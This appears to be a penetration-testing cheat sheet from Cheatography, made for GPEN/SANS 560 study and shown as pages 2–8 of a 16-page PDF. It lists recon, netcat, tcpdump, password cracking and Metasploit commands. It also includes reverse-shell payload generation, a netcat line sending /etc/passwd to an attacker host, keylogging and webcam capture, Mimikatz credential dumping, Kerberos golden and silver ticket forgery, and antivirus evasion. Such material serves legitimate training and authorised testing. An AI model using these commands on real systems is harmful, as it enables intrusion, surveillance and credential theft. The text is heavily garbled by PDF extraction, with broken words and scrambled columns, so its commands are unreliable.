

General Recon

`fping -g x.x.x.0 x.x.x.254 -a` **Ping sweep**

Linux traceroute Options

<code>-4</code>	Forces IPv4
<code>-6</code>	Forces IPv6, same as <code>traceroute6</code> command
<code>-I</code>	Uses ICMP echo
<code>-T</code>	Uses TCP SYN
<code>-f <first_hop></code>	Starts from the hop specified instead of 1
<code>-g <gateway></code>	Routes packets through the gateway specified instead of the default
<code>-m <max_hops></code>	Specifies the maximum number of hops; default is 30
<code>-n</code>	Specifies not to resolve IP address to hostnames
<code>-w <wait></code>	Specifies the wait time, which can be in seconds or relative to the reply time between hops
<code>-p <port></code>	Specifies the port

DNS Query

Netcat

Flags

`-l`

`-L`

`-u`

`-p`

`-e <filename>`

`-n`

`-z`

`-w [N]`

nslookup	-v
nslookup -norecurse -type=A google.com DNS_SR VR_IP	DNS Snooping nonrecursive query
server [server rIPAddr or name]	use specific server
set type=any	set DNS record type
ls -d [target t_domain]	Perform a zone transfer of all records for a given domain
ls -d [target t_domain] [> filename]	Store zone transfer output in a file
view [filename]	view file
dig	
dig @[name server] [domain name] [record type]	dig command syntax
dig +nocomments @192.168.1.50 lab.local -t AXFR	test if allow anonymous zone transfers
set norecurse	no recursive query, RD=0

On target:

```
mkncod backpipe p
```

```
nc --l -p [allowed_inbound_port] 0<backpipe | nc
```

Attackers machine to connect:

```
ssh login_name@[target machine] -p [allowed_inbound_port]
```

A really good explanation for this is on 560.3 book, P 152



Netcat (cont)

Send Files

```
nc -l -p 8080 > filename
```

```
nc -w 3 attackerIP 8080 < /etc/passwd
```

Scan ports

```
nc -v -n IP port
```

```
nc -v -w 2 -z IP_Address port_range
```

```
echo " " | nc -v -n -w1 [targetIP] [port-range]
```

Other Uses

```
while (true); do nc -vv -z -w3 [target_IP] [target_port] > /dev/null && echo "Service is up" && sleep 1; done
```

```
while `nc -vv -z -w3 [target_IP] [target_port] > /dev/null`;do echo "Service is ok"; sleep 1; done; echo "7"
```

alternative

```
nc -n -v -l -p 2222 < /tmp/wireshark.pcap
```

```
nc.exe -n -v -w3 [YourLinuxIP addr] 2222 >C:\fo\ldes\w\inauth.pcap
```

TCPDUMP | Monitoring (cont)

```
-X Print hex and ASCII
```

```
-A Print ASCII
```

```
s [snaplen] Sniff this many bytes from each frame, instead of the default
```

Protocol:

```
ether, ip, ip6, arp, rarp, tcp, udp: protocol type
```

Type:

```
host [host] Only give me packets to or from that host
```

```
net [network] Only packets for a given network
```

```
port [portnum] Only packets for that port
```

```
portrange [start-end] Only packets in that range of ports
```

Direction:

```
src Only give me packets from that host or port
```

```
dst Only give me packets to that host
```

Use and / or to combine these together

Wrap in parentheses to group elements together

Hashcat

```
hashcat -m 13100 -a 0 lab3.txt crackmap.hash 9999
```

```
hashcat --force -m 13100 -a 0 lab3.h ashcat /path/to/how
```

PowerSploit/PowerView

```
Invoke-Kerberoast Requests service tickets for kerberoastable accounts and returns extracted ticket hashes
```

Metasploit

TCPDUMP | Monitoring

General

`tcpdump -nnv -i eth0` start capturing traffic

`-n` Use numbers instead of names for machines

`-nn` Use numbers for machines and ports

`-i` Sniff on a particular interface (—D lists interfaces)

`-v` Be verbose

`-w` Dump packets to a file (use —r to read file later)

`-x` Print hex

Create Handler listener

`use exploit/multi/handler`

`set payload windows/x64/meterpreter/reverse_https OR windows/meterpreter/reverse_tcp`

`set lhost AttackerIP`

`set lport 443`

`exploit -j -z` Run in background

PS Session with valid creds

`use auxiliary/admin/smb/sexec_command`



By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.
Page 2 of 16.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>

Metasploit (cont)	Empire (cont)
set smbuser user	set ALL 03/02/2020 5:28 pm
set rhost victimIP	define time
set smbpass P4\$\$	to be set in
set command " ipc onfig or any comman d"	all datetime
run	file
Create backdoor - recognized by Defender :(	properties
msfvenom -p window s/s hel l/r eve rse_tcp LHOST= [Attac kerIP] LPORT=8080 -f exe > /tmp/f ile.exe	set target
e	file to be
msfvenom -p window s/x 64/ met erp ret er_ rev ers e_https LHOST= Att ackerIP LPORT=443 -f exe -o	tampered
pwned.exe	run module
Others	Others
sessions -l	get a list of sessions
sessions -i [N]	sell powershell Get-Ch ildItem
press CTRL-Z	interact (-i) with session number [N]
jobs	Background session
db_import /path/ to/ fil e/n map.xml	General
hosts -m " Windows 10" 192.16 8.1.10	General
services -u -p 135,445	Import scans from nmap
sessions -h	Add comment to host
sessions -K	Show UP hosts with Lports 135,445
	searchmodule privesc
	list help for sessions command
	kill a session
	configure a listener
	listeners
	getting a list
	of our
	listeners
	options
	options we
	have for our
	listeners
	set StagingKey [Some_Secret_Value]
	configure a
	custom
	staging key
	for
	encrypting
	communica-
	tions
	set DefaultDelay 1
	time
	between
	callbacks
	from our
	agent
	execute
	launch
	listener
	list
	check out
	our listene
	deploy an agent

usestager	create and deploy an agent [space][T- AB-TAB] To see available stagers
usestager 1launcher_bat	select stager
info	get info for actual stager

MSFDB - Metasploit Database

Most useful database commands

db_connect [conne ct_ strin g]	Connects to a database
db_dis connect	Disconnects from database
db_driver	Selects the database type
db_status	Displays the status of the database



By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
 Last updated 23rd November, 2022.
 Page 3 of 16.

Sponsored by **Readable.com**
 Measure your website readability!
<https://readable.com>

MSFDB - Metasploit Database (cont)

```
db_export
```

```
hosts
```

```
vulns
```

```
services
```

```
hosts --add [host]
```

```
services --add -p [port] -r [proto] -s [name] [host1 , host2 , ...  
.]
```

```
notes --add -t [type] -n '[note_text]' [host1 , host2 , ...]
```

If you delete a host, any services and vulns corresponding to that host_id will also disappear

```
db_nmap --sT 10.10.1 0.10 --pack et- trace
```

Veil-Evasion (cont)

Exports
database
contents
into a file,
either xml
(with
hosts,ports,
vulnerabi-
lities, and
more) or
pwdump
(with
pilfered
 creden-
tials)

Get list of
hosts
disco-
vered

Get list of
vulns that
were found
in scanned
hosts

Get list of
services
running in
gained
hosts

manually
add hosts

manually
add
services
running in
hosts

manually
add notes
to a host

invoke
Nmap
directly
from the
msfconsole

db_import [filename]	info powershell ete rpr ete r/r ev_h ttps	import data automa- tically recognizes the file type like Nmap	et more inform- ation about any of the payloads
hosts -S linux	clean	xml, Amap, Nexpose, Qualys, Nessus searching for any hosts associated	Clean out any leftover cruft from previous use of Veil-E- vasion,
hosts -S linux -R	use info powershell l/m ete rpr ete r/r e v_ https	Generate payload with linux, - S works for other items (vulns) as well set result as RHOTS variable value	select the payload you want to generate list options for actual item
vulns -p 445	options	generate	create the payload file

Veil-Evasion	
Start Veil-Evasion	
cd /opt/Veil -Ev asion /usr/share/veil	
./Veil -Ev asion .py	
General	
list	get a list of all the different payloads that the tool can generate

Generated files	
.bat	This is the payload itself
.rc	This is the Metasploit config-uration file (also known as a handler file) for a multi/-handler waiting for a connection from our payload.
exit	exit Veil-E-vasion
/usr/share/veil -output/s ource	Veil-E-vasion output directory

tracroute

Options	
-f [N]	Set the initial TTL for the first packet
-g [hostlist]	Specify a loose source route (8 maximum hops)
-I	Use ICMP Echo Request instead of UDP
-T	Use TCP SYN instead of UDP (very useful!), with default dest port 80
-m [N]	Set the maximum number of hops
-n	Print numbers instead of names
-p [port]	port
	For UDP, set the base destination UDP port and increment
	For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing)
-w [N]	Wait for N seconds before giving up and writing * (default is 5)
-4	Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)



By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
 Last updated 23rd November, 2022.
 Page 4 of 16.

Sponsored by **Readable.com**
 Measure your website readability!
<https://readable.com>

traceroute (cont)

-6 Force use of IPv6

John the Ripper

General

john.pot file

john.rec file

john --restore

john --test

john hash.txt

john --show [passwd _file]

Cracking LANMAN Hashes

john /tmp/s am.txt

Cracking Linux Passwords

pw-inspector (Password Inspector) (cont)

- l The password must contain at least one lowercase character.
- The Password must contain at least one uppercase character.
- u (To specify a mixed case requirement, configure —c 2 -l —u.)
- The password must contain at least one number

cracked

password the password must contain at least one printable character that is neither alphabetic nor numeric, which includes !@#\$%&*().

stores The password must include characters not included in the other john's lists (such as nonprintable ASCII characters)

current

stat

Meterpreter

picks up

Where it

left off

based on

the sysinfo

contents

of the

john.rec

file

Check

Speed of

SyStem

run john

against

hash.txt

file

compare

which

passwords

John has

already

cracked

from a

given

password

file against

its john.pot

file

By default,

John will

focus on

the

LANMAN

hashes.

Basic commands

? / help

Display a help menu

exit / quit

Quit the Meterpreter

sysinfo

Show name, OS type

shutdown / reboot

Self-explanatory

reg

read or write to the Registry

File System Commands

cd

Navigate directory structure

! /

Change local directories on

attacker machine

pwd / getwd

Show the current working

directory

ls

List the directory contents, even 4

Windows

cat

Display a file's contents

download / upload

Move a file to or from the machine

mkdir / rmdir

Make or remove directories

edit

Edit a file using default editor

Process Commands

560.3 Page 92

getpid

Returns the process ID that

getpid

Meterpreter is running in

getuid

Returns the user ID that the

getuid

Meterpreter is running with

ps || ps -S notepad.exe

Process list

e

```
cp /etc/passwd /tmp/passwd_copy
```

copy
passwd
file to your
working
directory

```
cp /etc/shadow /tmp/shadow_copy
```

copy
shadow
file to your
working
directory

```
./unshadow passwd_copy shadow_copy > combined.txt
```

Use the unshadow script to combine account info from /etc/passwd with password information from /etc/shadow

```
john combined.txt
```

Run John against the combined file

```
cat ~/.john/john.pot
```

Look at the Results in john.pot file

pw-inspector (Password Inspector)

-i input file

-o output file

-m [n] the minimum number of characters to use for a password is n

-M [N] Remove all words longer than N characters

-c how many password criteria a given word must meet to be [count] included in the list.



By **Hey Mensh** (HeyMensh)
cheatography.com/heyemensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.
Page 5 of 16.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>

Meterpreter (cont)

kill	Terminate a process
execute -f cmd.exe -c -H	Runs a given program channelized (-c) and hide proccess window (-H)
migrate [desti nat ion _pr oce ss_ID]	Jumps to a given destination process ID:
	*Target process must have the same or lesser privileges
	*May be a more stable process
	*When inside the process, can access any files that it has a lock on

Network Commands

ipconfig	show network config
route	Displays routing table, adds/deletes routes
portfwd add -l 1111 -p 22 -r Target2	SANS 560.3 Exploitation Page 67 for better understanding

On-target Machine commands

screenshot -p [file.jpg]	SC
--------------------------	----

Meterpreter (cont)

keysca n_dump
keysca n_stop

Pivoting Using Metasploit's Route Command

use [exploit1]
set RHOST [victim1]
set PAYLOAD window s/m ete rpr ete r/r eve rse_tcp
exploit
CTRL-Z

route add [victi m2_ subnet] [netmask] [Sid]
use [exploit2]
set RHOST [victim2]
set PAYLOAD [payloadZ]
exploit

Do not confuse the Metasploit (msf) route command with the Meterpreter latter is used to manage the routing tables on a target box that has been Meterpreter payload. The msf route command is used to direct all traffic from the attacker's Metasploit machine through a given Meterpreter ses victim machine to another potential Victim.

Additional Modules

use [modul ename]

idletime

Show how long the user at the console has been idle

uictl [enable/disable] [keyboard/mouse]

Turn on or off user input devices

Webcam and Mic Commands

webcam __list

Lists installed webcams

webcam _snap

Snap a single frame from the webcam as a JPEG: - Can specify JPEG image quality from 1 to 100, with a default of 50

record_mic

Records audio for N seconds (—d N) and stores in a wav file in the Metasploit .msf4 directory by default

Make sure you get written permission before activating either feature

Keystroke Logger

keysca n_start

poll every 30 milliseconds for keystrokes entered into the system

Others

```
run schtas ksabuse -c "[command1][, command2].targetIP]
```

load kiwi

creds_all



By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.
Page 6 of 16.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>

GPG

```
gpg -d -o <Output filename> <Encrypted file> --decrypt
```

Silver Ticket ATTACK (cont)

```
Import -Module DSInternals $pwd = ConvertTo-SecureString
```

OVER-PASS-THE-HASH

1. Perform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
2. Perform TGS-REQ to KDC to get TGS
3. Use TGS to impersonate passw hash owner and use a service

```
mimikatz "kerberos /golden /admin :Im Admin /id:1106 /service: /ptt" exit
```

Golden Ticket ATTACK

Requirements

- KDC LT key
- Domain admin account name
- Domain name
- SID of domain admin account

Commands

```
.\mimikatz kerberos /golden /admin :ADMINACCOUNTNAME /domain:DOMAIN /id:ACQUINTRID /sid:DOMAINSID /ptt
```

```
.\mimikatz kerberos:ptt file.txt
```

```
kerberos::tgt
```

```
kerberos: /list /export
```

```
kerberos:ptt file.kirbi
```

```
misc::cmd ; klist ; use a command to connect to that
```

(e.g. KRBTGT NTLM hash)

Trolling

Faking RIDs

```
NAME /domain:DOMAIN /id:ACQUINTRID /sid:DOMAINSID
```

1106 is "Anakin"

1159 is "Vader"

create a golden ticket from file with PTT

Result: User: Anakin | Real Context User: Vader

/group s:512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000

/id:9999 Load / pass the ticket

/user:yourmom

Silver Ticket ATTACK

Mimikatz

Command Reference for tickets attacks

/domain domain's fqdn

/sid SID of the Domain

/user /admin username to impersonate

/groups (optional) group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator's groups

/ticket (optional) provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.

Requirements

• /target	target server's FQDN.
• /service	SPN
• /rc4	NTLM hash for the service (computer account or user account)

Steps

whoami	get domain/SID
invoke -Ke rbe roa st.psl	get SPN and Service user pass hash for cracking
Mimikatz "privi leg e:: debug" "sekur lsa ::l ogo npa ssw ords" exit	get Service password hash w/Mimikatz (if you have access to server hosting Vuln service)
hashcat " " \$kr b5t gs\$ 6\$a cct \$sv c/H OST :po rt\$ XXX X...X XX"" dicti.txt hashcat -m 13100 hash.txt dicti.txt	Get unencrypted service password w/hashcat (If we didn't get NTLM hash) and hash it to NTLM



By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.
Page 7 of 16.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>

Mimikatz (cont)

/ptt	as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.
/id (optional)	user RID. Mimikatz default is 500 (the default Admin account RID).
/start offset (optional)	the start offset when the ticket is available (generally set to -10 or 0 if this option is used). Mimikatz Default value is 0.
/endin (optional)	ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).
/renewmax (optional)	maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

Scapy (Packet crafting)

GPEN AIO Book - Lab 3-4: Scapy Introductory

scapy (as root)	starts library
help(f unc tion)	Get help for specific function
p = IP()/T CP()/"F oo"	define blank packet
ls(p)	show packet info
p.show()	show packet info
summary	show packet info
ls(p[Raw])	view just the data
p[IP].s rc ="ip add res -"	set src address
"	
p[IP].d st ="ip add res -"	set dst address
"	
p[TCP].sp ort ="xx "	set src port
p[TCP].dp ort ="xx "	set dst port
p=IP/T CP/DATA	packet structure

AIO Book - Page 158

Metadata Analysis

```
./exiftool t/imag es/ Exi fTo ol.jpg >/r oot /ex if.out
```

strings —n 8 file.txt

Recon-ng comands for whois_pocs

```
recon-ng
market place install all ; exit
workspaces create demo
modules load recon/ dom ain s-c ont act s/w hoi s_
pocs
options set SOURCE exampl e.com
run
show contacts
```

Cron

crontab -l	list job entries
crontab -e	edit job entries



By **Hey Mensh** (HeyMensh)
cheatography.com/hey mensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.
Page 8 of 16.

Sponsored by **Readable.com**
Measure your website readability!
<https://readable.com>